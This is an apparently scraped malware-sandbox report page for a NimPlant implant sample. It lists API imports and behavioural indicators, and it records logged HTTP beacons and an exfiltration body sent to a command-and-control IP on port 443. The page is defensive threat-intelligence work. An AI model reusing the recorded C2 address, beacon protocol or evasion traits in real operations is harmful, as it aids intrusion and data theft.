34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 48:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T498,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Nimplant.A.Generic Sample abc27cc99ef1… — Score 84/100 — Hybrid Analysis","description":"Malicious verdict for sample abc27cc99ef1…. Malware family: Nimplant.A.Generic. Threat score 84/100. 6/27 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","keywords":["Malicious","Nimplant.A.Generic","malware analysis","sandbox report","threat intelligence","abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169"],"about":{"@type":"SoftwareApplication","name":"AES.bin.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","additionalType":"Malicious sample"},"threatScore":84,"malwareFamily":"Nimplant.A.Generic","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T2dcd,Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "sample.bin"), Found reference to API (Indicator: "CreateSemaphoreA"; Source: "sample.bin"), Found reference to API (Indicator: "SysAllocStringLen"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "SetHandleInformation"; Source: "sample.bin"), Found reference to API (Indicator: "Process32FirstW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitializeEx"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSize"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "WSAStartup"; Source: "sample.bin"), Found reference to API (Indicator: "ResumeThread"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GetDesktopWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetDIBits"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpOpen"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThread"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualAllocEx"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "OutputDebugStringA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "SafeArrayAccessData"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "SysFreeString"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "BitBlt"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "RegGetValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadContext"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetTickCount"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptGenRandom"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetActiveObject"; Source: "sample.bin"), Found reference to API (Indicator: "VariantClear"; Source: "sample.bin"), Found reference to API (Indicator: "SafeArrayUnaccessData"; Source: "sample.bin"), Found reference to API (Indicator: "inet_ntoa"; Source: "sample.bin"), Found reference to API (Indicator: "GetErrorInfo"; Source: "sample.bin"), Found reference to API (Indicator: "DuplicateHandle"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpSetOption"; Source: "sample.bin"), Found reference to API (Indicator: "SuspendThread"; Source: "sample.bin"), Found reference to API (Indicator: "lstrcmpA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpSetTimeouts"; Source: "sample.bin"), Found reference to API (Indicator: "VariantCopy"; Source: "sample.bin"), Found reference to API (Indicator: "SafeArrayPutElement"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetClientRect"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpOpenRequest"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpCloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CopyFileA"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpSendRequest"; Source: "sample.bin"), Found reference to API (Indicator: "GetHandleInformation"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "SafeArrayCreate"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RevertToSelf"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadPriority"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpQueryOption"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpAddRequestHeaders"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpConnect"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetProcessAffinityMask"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSemaphore"; Source: "sample.bin"), Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "SysStringLen"; Source: "sample.bin"), Found reference to API (Indicator: "CreateNamedPipeW"; Source: "sample.bin"), Found reference to API (Indicator: "CoGetObject"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventA"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadContext"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpQueryHeaders"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "gethostbyname"; Source: "sample.bin"), Found reference to API (Indicator: "GetObject"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveVectoredExceptionHandler"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessW"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualFree"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserNameW"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpReceiveResponse"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "GetComputerNameExW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreatePipe"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "Process32NextW"; Source: "sample.bin"), Found reference to API (Indicator: "CLSIDFromString"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "RtlGetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "WinHttpReadData"; Source: "sample.bin"), Found reference to API (Indicator: "IsEqualGUID"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "VariantChangeType"; Source: "sample.bin"), Found reference to API (Indicator: "GetComputerNameW"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "SysAllocString"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "sample.bin")37:T50e,Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "sample.bin"), Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "sample.bin"), Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; Source: "sample.bin"), Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "sample.bin"), Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "sample.bin"), Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "sample.bin"), Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "sample.bin"), Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; Source: "sample.bin"), Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "sample.bin"), Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "sample.bin"), Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "sample.bin"), Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "sample.bin"), Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "sample.bin")38:Tdf4,Contains base64 string in header "Keep" in header "GET /register HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientHost: 209.99.190.93:443" Contains base64 string in header "Encoding" in header "GET /register HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientHost: 209.99.190.93:443" Contains base64 string in header "gzipUser" in header "GET /register HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientHost: 209.99.190.93:443" Contains base64 string in header "NimPlant" in header "GET /register HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientHost: 209.99.190.93:443" Contains base64 string in header "POST" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "Keep" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "AliveContent" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "Type" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "Encoding" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "gzipUser" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "NimPlant" in header "POST /register HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIContent-Length: 195Host: 209.99.190.93:443" Contains base64 string in header "Keep" in header "GET /task HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIHost: 209.99.190.93:443" Contains base64 string in header "Encoding" in header "GET /task HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIHost: 209.99.190.93:443" Contains base64 string in header "gzipUser" in header "GET /task HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIHost: 209.99.190.93:443" Contains base64 string in header "NimPlant" in header "GET /task HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIHost: 209.99.190.93:443" Contains base64 string in header "Wri28aYIHost" in header "GET /task HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: gzipUser-Agent: NimPlant C2 ClientX-Identifier: Wri28aYIHost: 209.99.190.93:443"39:Tc6f," HTTP/1.1 200 OK Content-Type: application/json Content-Length: 49 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:53 GMT with response body ==>7B226964223A225772693238615949222C226B223A225A5868415477785761566F51484763575A6C6C7662413D3D227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:55 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:56 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:57 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:58 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:52:59 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:00 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:01 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:02 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:03 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:04 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:05 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:06 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:07 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:08 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:09 GMT with response body ==>7B22737461747573223A224F4B227D0A....... "GET /task HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Encoding: gzip User-Agent: NimPlant C2 Client X-Identifier: Wri28aYI Host: 209.99.190.93:443" Response ==> HTTP/1.1 200 OK Content-Type: application/json Content-Length: 16 Server: NimPlant C2 Server Date: Thu 12 Nov 2026 18:53:10 GMT with response body ==>7B22737461747573223A224F4B227D0A.......3d:T867," \"{\"data\":\"Z2xyR0RKYlhcZUVRSF1obtRDQYAIpvw9i2s4QiAeC/faW6/4ftU902gch3rKoCsZftT3kttESsnPv58YeEJmK0zIFiMseBK93xf0wmHQeN6TPA9vISdVzNblJOiFuKLDUPpmpCaHSzcMNqaEECRc6LdSTmEd9spU6LBUoLCK3C8JQM+LIGbRRfY=\"}\" HTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 16\nServer: NimPlant C2 Server\nDate: Thu\n 12 Nov 2026 18:52:54 GMT with response body ==>7B22737461747573223A224F4B227D0A.......","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 209.99.190.93 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Found TLS callbacks","description":"\"AES.bin\" has a TLS callback with entrypoint at 0x1400b3c10\n \"AES.bin\" has a TLS callback with entrypoint at 0x1400b3ccf\n \"AES.bin\" has a TLS callback with entrypoint at 0x1400c1848","origin":"Static Parser","mitre_attack_id":"T1055.005","relevance":10,"id":"static-17","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"VirtualProtect\n OutputDebugStringA\n IsDebuggerPresent\n GetProcAddress\n GetModuleHandleA\n VirtualAlloc\n GetStartupInfoA\n GetThreadContext\n LoadLibraryA\n OpenProcess\n GetTickCount\n Sleep","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}],"intel_graph":{"map":{"File:abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169":{"type":"File","value":"abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169"},"Ip:209.99.190.93":{"type":"Ip","value":"209.99.190.93"},"Url:/register":{"type":"Url","value":"/register"},"Url:/task":{"type":"Url","value":"/task"}},"chains":[{"id":"sandbox_network","root":"File:abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","edges":[{"edge_kind":"contacted_ip","from_key":"File:abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","to_key":"Ip:209.99.190.93"},{"edge_kind":"contacted_url","from_key":"File:abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","to_key":"Url:/register"},{"edge_kind":"contacted_url","from_key":"File:abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","to_key":"Url:/task"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":49,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":null,"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6af60ac95c5bc764af049809","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":84,"malware_family":"Generic.Nimplant.A","contacted_countries":["CHE"],"submit_name":"AES.bin","analysis_start_time":"2026-11-12T18:51:54+00:00","indicators_count":{"informative":119,"suspicious":20,"malicious":3},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"209.99.190.93","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}],"dns_resolutions":null,"http_requests":[{"host":"209.99.190.93:443","host_ip":"209.99.190.93:443","url":"/register","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /register HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip\nUser-Agent: NimPlant C2 Client\nHost: 209.99.190.93:443","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]},{"host":"209.99.190.93:443","host_ip":"209.99.190.93:443","url":"/task","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /task HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip\nUser-Agent: NimPlant C2 Client\nX-Identifier: Wri28aYI\nHost: 209.99.190.93:443","sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6af60ac95c5bc764af049809"}],"processes":[{"pid":6468,"ppid":0,"name":"AES.bin.exe","command_line":"","sha256":"abc27cc99ef167b4d3aa3648d696bd7068e9ab9d147934cd422f9ad8b5d49169","normalized_path":"C:\\AES.bin.exe","uid":"00000000-00006468","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["win32u.dll","ws2_32.dll","sspicli.dll","wshbth.dll","nlaapi.dll","FWPUCLNT.DLL","ntdll.dll","vcruntime140.dll","sechost.dll","ole32.dll","winhttp.dll","bc